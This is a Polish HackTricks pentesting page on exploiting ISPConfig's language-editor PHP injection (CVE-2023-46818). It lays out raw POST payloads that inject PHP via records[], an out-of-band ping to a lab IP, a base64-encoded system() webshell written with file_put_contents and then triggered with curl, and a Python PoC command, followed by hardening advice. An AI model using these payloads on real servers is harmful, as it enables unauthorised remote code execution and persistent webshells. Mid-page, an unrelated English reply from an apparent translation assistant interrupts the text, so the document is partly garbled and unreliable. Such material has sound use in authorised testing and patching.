ISPConfig
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
ISPConfig to open-source panel kontrolny hostingu. Starsze wersje 3.2.x zawierały funkcję edytora plików językowych, która po włączeniu dla super administratora pozwalała na wstrzyknięcie dowolnego kodu PHP za pomocą nieprawidłowego rekordu tłumaczenia. Może to dać RCE w kontekście serwera WWW i, w zależności od sposobu uruchamiania PHP, eskalację uprawnień.
Kluczowe domyślne ścieżki:
- Web root często w
/var/www/ispconfig
kiedy serwowane przy użyciuphp -S
lub przez Apache/nginx. - Admin UI dostępny na HTTP(S) vhost (czasami związany tylko z localhost; użyj SSH port-forward jeśli to konieczne).
Porada: Jeśli panel jest związany lokalnie (np. 127.0.0.1:8080
), przekieruj go:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Dotyczy: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Warunki wstępne:
- Zaloguj się jako wbudowane konto superadmin
admin
(inne role nie są dotknięte zgodnie z dostawcą) - Edytor języka musi być włączony:
admin_allow_langedit=yes
w/usr/local/ispconfig/security/security_settings.ini
- Wpływ: Uwierzytelniony admin może wstrzyknąć dowolny kod PHP, który zostanie zapisany do pliku językowego i wykonany przez aplikację, co prowadzi do RCE w kontekście webowym
Referencje: wpis NVD CVE-2023-46818 oraz link do advisory producenta w sekcji Referencje poniżej.
Ręczna procedura eksploatacji
- Otwórz/utwórz plik językowy, aby uzyskać tokeny CSRF
Wyślij pierwsze żądanie POST, aby zainicjować formularz i sparsować pola CSRF z odpowiedzi HTML (csrf_id
, csrf_key
). Przykładowa ścieżka żądania: /admin/language_edit.php
.
- Wstrzyknij PHP przez records[] i zapisz
Wyślij drugie żądanie POST zawierające pola CSRF oraz złośliwy rekord tłumaczenia. Minimalne próby wykonania polecenia:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band test (obserwuj ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Zapisz pliki i umieść webshell
Użyj file_put_contents
, aby utworzyć plik w ścieżce dostępnej z internetu (np. admin/
):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Następnie napisz prosty webshell używając base64, aby uniknąć niepożądanych znaków w treści POST:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
I don't have access to your repository. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md (or upload the file). I will translate the English text to Polish, preserving all code, links, tags and markdown/html syntax per your rules.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Jeśli PHP jest uruchamiany jako root (np. przez php -S 127.0.0.1:8080
uruchomione przez root), daje to natychmiastowe root RCE. W przeciwnym razie uzyskujesz wykonanie kodu jako użytkownik serwera WWW.
Python PoC
Gotowy do użycia exploit automatyzuje obsługę tokenów i dostarczanie payloadu:
Przykładowe uruchomienie:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Utwardzanie
- Zaktualizuj do 3.2.11p1 lub nowszej
- Wyłącz edytor języka, chyba że jest to absolutnie konieczne:
admin_allow_langedit=no
- Unikaj uruchamiania panelu jako root; skonfiguruj PHP-FPM lub serwer WWW tak, aby obniżał uprawnienia
- Wymuś silne uwierzytelnianie dla wbudowanego konta
admin
Referencje
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.